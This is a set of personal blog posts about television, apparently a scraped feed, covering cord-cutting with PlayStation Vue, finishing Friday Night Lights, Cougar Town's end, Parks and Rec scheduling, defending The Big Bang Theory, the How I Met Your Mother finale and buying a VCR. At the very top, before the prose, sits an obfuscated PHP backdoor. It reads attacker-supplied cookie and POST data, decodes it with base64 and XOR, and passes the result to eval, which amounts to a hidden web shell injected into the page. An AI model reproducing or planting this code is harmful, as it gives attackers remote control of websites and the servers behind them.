$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}
But over the past couple of years, I started to see things in a different light. First of all, my daughter, like a lot of teens, found her entertainment in places other than the cable box. Secondly, streams of shows on network sites or places like Hulu made the DVR almost obsolete for me. Lastly, some companies started to find new ways to offer cable channels.
That’s how we found ourselves downgrading our cable package to the lowest possible level – a level I used to mock – recently. We only get local channels and a few shopping networks. I had kind of wanted to go even further and ditch cable altogether, but my wife’s PBS habit and the knowledge that Comcast would jack up our Internet rate killed that idea.
So we now get our cable through Playstation Vue, which costs just half of the money we have saved by downgrading our cable (and getting rid of the DVR and the sports package). I can only think of one or two channels we don’t get that I wished we still had, but we will survive.
The experience has been great so far. I have had a couple of instances where the network cut out or the Roku box we use reset, but the disruptions have been minimal. I can use my PS Vue credentials to sign into a number of TV apps, including Watch ESPN so I get the full experience.
I do miss having a TV guide (we use the Roku, which doesn’t have that feature) or being able to channel surf easily, but those are small disruptions. I have had no problem watching sports via the Roku, which provides a solid stream.
We chose Vue because of the price and selection of channels. Sling TV just didn’t have enough and limited each subscription to one stream at a time, which just wasn’t going to cut it. But I am eager to see what other options come available. Being able to cancel one and start another without delay or penalty could be interesting in the next year or so.
I have already inspired at least one friend to do the same. Even if you love your cable service, check out Vue or Sling or keep an eye on the service Hulu plans to roll out next year. You might save some money without missing a beat in your viewing habits.
]]>So I watched episode after episode, usually during my lunch break at work. I needed a while, but I finally got through all five seasons.
Almost.
For some reason, I stopped right before the final episode. The decision made sense in my mind at the time. I wanted to truly savor my final days in Dillon, Texas. That meant watching the episode at home instead of at work.
The problem is, I never made time to watch the episode at home. At some point, I started to rationalize that if I never watched the episode, the show had never ended. Then I got lazy and just didn’t feel like going back and watching it.
I finally bit the bullet last week. I really hate myself for taking so long. The silly nature of the final game’s ending was as cheesy as I had hoped. The drama around the proposal cracked me up. The philosophy of Tim Riggins could have come in handy a long time ago. I loved every second of it.
Now that I have finally gotten around to finishing a show which went off the air in 2011, maybe I can start planning a schedule to finish Mad Men. I think I only have three seasons left.
]]>Go ahead and make fun. I have heard all the jokes. The ones about the bad name. The ones about the quality of the show. The ones about pretty much anything that ignores the fact that the show lasted six seasons, an eternity in today’s television landscape.
I fell in love with the show manly because of my man crush on co-creator Bill Lawrence. He hooked me with Scrubs, so I was an easy mark when Cougar Town came along. I love the way they turned away from the original premise of an older woman dating younger guys to a show about friends who have a special bond.
I’m the kind of fan who makes sure to read the joke about the name of the show on the title card each week. I look at the episode title to see if it references a Tom Petty song I know. I was among the fools who called 1-800-PENNYCAN to talk to cast members (I chatted with Ian Gomez and Brian Van Holt).
Sure, it moved to TBS a few years ago when ABC cut bait, but that paved the way in a sense for other shows to debut on cable stations. The show has maintained a high profile on the cable network even if the total number of viewers pales in comparison to the numbers on ABC. Like it or not, they made more than 50 hours of the show. That’s pretty awesome for a show which caught so much flak for little more than its title.
At a certain point, Cougar Town ceased trying to meet the needs of a mass audience and turned into a way for the writers and actors to entertain themselves and the hardcore fans. Counting myself in that second group, I’m OK with that decision. Comedy is supposed to focus on fun. Lawrence, co-creator Kevin Biegel and the folks that followed them never lost sight of that.
That’s why the end makes me a little sad, in a different way than the end of Parks & Rec did. I can make Parks & Rec jokes, and all kinds of people will get them. March 31 jokes land. Treat Yo Self jokes kill. Apps and zerts never get old. But when I yell “Change approved,” fewer people get why that is funny. P&R meant more, but I can also share it with more people. This is kind of the end of the road for Cougar Town jokes.
I’m glad I went for the ride.
]]>I have seen a number of people criticize this strategy. The gist of the complaints is that NBC is “burning” off the final season to be rid of a show that they don’t particularly want, but feel like they have to keep because it does have a cult following and most of the network’s other shows have just tanked miserably.
I can see that mindset. The show has had to hang on for dear life since it’s premiere. Now that the network is letting it go out on its own terms, it can look like they want to get it off the airwaves as soon as they can.
However, let’s consider something different that might show NBC in a better light. I don’t know why I would consider that possibility given that they gave us “Whitney” and burned off the funny “Bent” over three weeks with any publicity whatsoever.
But when you consider that people take binge watching very seriously, maybe that is part of the mindset behind the “Parks & Rec” schedule this season. The show has had trouble finding a large following, so maybe the network thinks if they compress the season, people will feel more engaged. After all, a lot can distract people in 13 weeks. Cut that time frame in half, and more viewers may stay focused on the last look at like in Pawnee, Indiana.
This concept may give too much credit to the people who run television, but the possibility makes me think. Maybe they are doing me a favor by giving me an hour of Leslie Knope and Ron Swanson each week.
]]>I admit that I don’t have the same affinity for the legendary cartoon that some people do, but this event really caught my attention. Just because I can’t remember which season was the best of pull out obscure quotes doesn’t mean I’m not thrilled by the idea of showing a couple decades worth of a TV show in order.
The problem is that I have a job and a family and a life. All three of these things are completely incompatible with seeing how far I could push my body before I collapsed out of exhaustion.
For the record, I probably wouldn’t have made it more than 20-some hours. I don’t have the stamina that I did when I was a kid, but it would have been fun trying.
OK, that’s not completely true. I probably wouldn’t have lasted much more than 20-some hours as a kid either. As much as I wanted to stay up for ungodly amounts of time watching TV, I could never do it.
The task had greater obstacles back in the day. I remember looking through the TV Guide – yes, kids, we actually had to look through a printed publication to see what shows would be on TV when I was young – to plot out marathon viewing sessions.
These sessions only existed in my mind. First of all, I would always find gaps in the schedule where nothing good was playing, even in the early days of cable TV. Second, the presence of my parents and siblings never guaranteed me unfettered access to the TV. Lastly, I’m a wimp and would conk out in the middle of the night regardless of how much soda I drank.
I can only think of a few times when I overcame this inability to satisfy my urge to stay up for long hours simply so I could tell people I stayed up for long hours. None of them involved television.
I managed long spells awake two of the times I flew overseas. The first time, when I was on a high school trip to England, I stupidly took some generic caffeine pills because I heard that’s how kids in college pulled all nighters. I didn’t feel so good afterwards.
One time in college, I stayed up all night to write an important paper, turned the paper in, went to my classes and worked the entire next night at the campus newspaper. I may have napped a little, but I was probably up for close to 48 hours.
When I finally got to my fraternity house, I went to our TV room to wind down before sleeping. I threw a quarter in the soda machine – which also had beer interspersed in it because we ran the thing ourselves as a cruel game of Russian roulette – and promptly got a Milwaukee’s Best.
I sighed, dropped another quarter in the machine, hit the same button and received another beer. My friends celebrated because that was the lone double whammy they had put in the machine.
Chagrined, I sat down, drank both beers and slept for an eternity. I guess I will never find out if 48 hours of Bart Simpson could replicate that slumber.
]]>“Hi, my name is Brian.”
“Hi, Brian.”
“I think The Big Bang Theory is a quality television show.”
Actually, that kind of meeting wouldn’t require the anonymity and potential shame that can come with a gathering of folks in recovery. The show has a massive following.
That speech is probably better suited for some special group of folks who like the top-rated CBS comedy, doesn’t consider it pandering and also enjoys “smart” comedies like Parks and Recreation and critical darlings who did not attract enough viewers to get a chance at a sustained run like TBBT.
I point this out only because some of the most virulent criticism of the Chuck Lorre show, especially in the wake of Jim Parson taking home another Emmy last night, comes from places like Warming Glow, a pop culture site which I enjoy except for its slavish devotion to Community creator Dan Harmon. (I like his show, but the fanboy following is over the top).
My big mistake came when I waded into the comments there and said some things and some other people said some things and I went and clicked the check box which stopped sending me e-mails whenever people replied to my comments because, well, the Internet.
I don’t know why I feel compelled to try and defend a show which does so well that it’s top actors will earn $1 million per episode this year. They don’t need my help. Plus, I really don’t care if other people like TBBT or any other show I like. My God, I watched Raising Hope to the bitter and can’t wait for the final season of Cougar Town. I’m not making my choices based on popularity.
I guess I just take offense at the criticism (from places like Warming Glow) that if you like TBBT, you have no taste and only watch TV to not think and don’t understand comedy. I think I understand comedy pretty well. I watch a lot of shows that critics love. I cut my teeth on M*A*S*H*. My family watched Cheers before it became a national hit.
Sure, Chuck Lorre brought us Two and a Half Men before TBBT, and that brought us Charlie Sheen’s antics and a shocking Emmy for Jon Cryer and the whiny guy who played the kid and then railed against the show. But should the scientists from California pay for the sins of that show just because they share a creator?
I love Parks and Recreation, but that doesn’t mean I didn’t find fault with Brooklyn Nine-Nine, also from the brain of Mike Schur. But the mob mentality against TBBT seems to have to more with reputation than people having actually watched many episodes of the show.
First of all, the cast is pretty damned good. Many wring their hands over Parsons winning another Emmy, but I think the bigger problem with the award system is the lack of recognition for Kaley Cuoco for her performance as Penny. I don’t think she should win, but a nomination would go a long way toward rewarding her for what I feel is the role that makes the show work.
Secondly, the show hardly relies on one simple premise. It’s not just making fun of nerds. For instance, the Leonard-Penny relationship has, in my estimation, handled the “will they or won’t they” with more alacrity than most TV shows with the same dilemma. The ways they have each tried to expose the other to things outside their comfort zone really strengthens the relationship. I doubt the critics could actually discuss those in depth because they haven’t watched enough to see the
Thirdly, who cares what nerds think about it? Community isn’t judged by what people at two-year schools think. Parks and Rec fans don’t worry about the thoughts from municipal leaders. So why do the people who criticize the show often say, “look, even nerds hate it!” It’s a TV show, not a referendum.
Lastly, the way the writers have made adjustments over the years, adding characters to the universe while showing how that affects the other characters and giving them all some sort of social tic to throw something else into the mix has helped keep the show fresh (and let those who discovered it in reruns come into the new shows with a sense of discovery).
I don’t expect the people who hate the show to change their mind, but I selfishly wanted to go over this because it seems like the debate has devolved into nothing but “it sucks” vs. “big ratings.” The reality lies somewhere in the middle. Let’s hope the discussion can get there at some point as well.
]]>Back then, before everyone had their own screen, we would gather together to watch our favorite shows, especially M*A*S*H. I developed much of my sense of humor from watching these shows.
We watched some hour-long shows too, but I mostly remember the comedies. Most of my TV watching over the years has focused on sitcoms.
That’s why I felt terrible when the networks announced the TV schedule for next season. A half-dozen comedies I liked to watch will not return for 2014-15. One that does – “Parks & Recreation,” perhaps my favorite – will air just 13 episodes for its final season.
I feel like my best friend has stabbed me in the back.
Now I know that I shouldn’t get too worked up about this because of the many different ways we can experience television. I don’t even sit down and watch shows when they air that often any more.
But I would prefer having my favorite shows come back so I could watch them OnDemand on my own schedule instead of having to go hunting around for new things to watch.
I don’t just watch sitcoms because the evoke a nostalgia for growing up. Comedy gives me something to look forward to, even if I have seen so many that it’s often easy to see the joke coming,
The skill of the writers and actors makes me feel good. They have literally proven that laughter can help improve people’s health so I take my comedy very seriously. It’s not necessarily a matter of life or death, but it can certainly make your life better.
That’s why I hated seeing that not only are some of my favorite shows going away, but the networks have greatly de-emphasized comedies in general. I have a lot fewer choices for my preferred television shows.
I just don’t have the attention span for most dramas or the stomach for most reality shows. I kept up with “Hawaii Five-O” for a couple of seasons, but even the kitschy nature of the show and the physics-defying “everything is Hawaii is a 10-minute drive away) couldn’t keep my interest.
So I figure I will spend the summer trying to figure out how I can make use of my time when the TV season kicks off in the fall. I could try and sound all kinds of smart and say I will read more books, but I know that won’t happen with any great regularity.
I can find the full run of a lot of shows I never really invested time in on the various streaming services, but the irony is that most of those are dramas. I might commit myself to “Breaking Bad” now that it has ended, but that will take real commitment.
I will manage to occupy my time somehow. Hopefully a comedy or two I have never seen will call to me from a smaller network or the Internet. Or I will just watch reruns of shows I love and have seen a dozen times and can quote from memory.
If my wife complains, I’ll tell her to call the networks because it’s all their fault.
]]>That’s the Ted and Robin storyline.
Now imagine in the midst of all this, they tell you that they have something else for you. Once you get it, they rip it away and throw it in the trash. You were just SO. FREAKING. HAPPY. to have that thing, but now it’s gone.
That’s Ted and the mother.
And that’s why the decisions that “How I Met Your Mother” creators Carter Bays and Craig Thomas made for last night’s finale bother me today. It may make sense to some viewers, but they went through incredibly great pains to tell us why it made no sense to the point that they made Robin float away like Jesus. Then they did it anyway because they decided to seven years ago and didn’t realize that when the old footage of the kids saying Ted should chase Aunt Robin played, they could have easily filmed Josh Radnor saying:
“At one point, I thought that too. So did she. And it might make sense to some other people, but the story isn’t about how I have the hots for her. It’s about how I used to feel that way and how the experiences I had with Aunt Robin and our friends gave me what I needed to meet your mother. It’s about, no matter how clichéd it sounds, you sometimes find what you need when you’re not even looking. Your mother is the love of my life and losing her hurts me every day, but I can go on because of you two and because of friends like Aunt Robin. That’s why the story focuses so much on her and Uncle Barney and Aunt Lily and Uncle Marshall. They didn’t introduce me to your mother, but I couldn’t have met her without them.”
That’s an ending on par with Ted’s 45 Days speech and the two-minute date and Lily telling Marshall about his father dying. That’s the emotion that set this show apart, not a jagov who screws everything up with grand gestures making the cheesiest grand gesture of all that undoes so many plot points that had been painstakingly laid out since the pilot.
]]>Someone – I don’t remember the store – had a DVD player on sale for $20. I drifted into old man mode and remarked that I could not believe a DVD player could cost so little even though these kinds of deals have existed for a few years now.
I guess the deal caught me by surprise because already have a DVD player. Since we don’t even watch them very often, I hadn’t checked out prices on new players for a while.
That didn’t stop me from thinking back to a time when buying a device to consume media didn’t cost less than a tank of gas. Of course, this notion amused our teenage daughter who finds discussions of things like typewriters and record players and VCRs a constant source of comedy.
So we started talking about the time when my wife and I bought a VCR together. We had been dating for less than a year. Our mutual love of television spurred this decision, quite possibly the first major one in our relationship.
Yes, we’re the kind of people who mark “jointly buying a VCR” as a major moment in our life together. Deal with it.
This was sometime before the spring of 1993. I don’t remember exactly when we made the purchase, but I do know that we used the machine to record the final episode of “Cheers” that spring. I worked nights back then so could not guarantee that I would see this important event.
We approached the decision very rationally and figured that we could easily justify the cost, which was significant back then for two folks not making a lot of money.
If we had a VCR, Maria could catch up on shows if she fell asleep in front of the TV. Then I could come over to her apartment the next day to watch the shows I missed while working. Better yet, we could watch our favorite programs together on the weekend if we wanted.
So we went to some big electronics store in Lancaster and took a leap of faith. I cannot stress how much this signified the strength of our relationship for me. If I made a TV commitment with someone, it was pretty serious.
The whole thing worked out wonderfully in the end. I couldn’t have written a better script. Oh, yeah, Maria and I stayed together too.
I have no idea whatever happened to that old VCR. In fact, we don’t even have one in the house. I thought of that recently as I came across a box of old video tapes while looking for something else in the basement.
I managed to sell the last VCR we had at a yard sale a couple of years ago. That meant I had nowhere to turn to look at those tapes, some of them which had no identification as to what they contained.
I guess I could always go to the store and buy a new one. That wouldn’t take as much of a commitment as it did 20 years ago, but it would probably cost more than a DVD player.
]]>